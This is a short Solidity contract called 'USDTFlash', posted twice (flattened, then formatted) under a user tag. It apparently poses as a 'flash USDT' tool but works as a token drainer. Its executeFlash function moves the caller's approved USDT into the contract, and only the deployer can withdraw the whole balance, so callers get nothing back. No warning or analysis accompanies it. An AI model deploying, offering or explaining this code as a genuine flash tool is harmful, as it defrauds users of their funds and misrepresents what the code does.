// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface ITRC20 { function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function balanceOf(address owner) external view returns (uint); } contract USDTFlash { address public owner; ITRC20 public usdt; constructor(address _usdt) { owner = msg.sender; usdt = ITRC20(_usdt); } function executeFlash(uint amount) external { require(usdt.transferFrom(msg.sender, address(this), amount), "Transfer failed"); } function withdraw() external { require(msg.sender == owner, "Not owner"); uint balance = usdt.balanceOf(address(this)); require(usdt.transfer(owner, balance), "Withdraw failed"); } }

[issamhaimour]

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface ITRC20 {
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function balanceOf(address owner) external view returns (uint);
}

contract USDTFlash {
address public owner;
ITRC20 public usdt;

constructor(address _usdt) {
    owner = msg.sender;
    usdt = ITRC20(_usdt);
}

function executeFlash(uint amount) external {
    require(usdt.transferFrom(msg.sender, address(this), amount), "Transfer failed");
}

function withdraw() external {
    require(msg.sender == owner, "Not owner");
    uint balance = usdt.balanceOf(address(this));
    require(usdt.transfer(owner, balance), "Withdraw failed");
}

}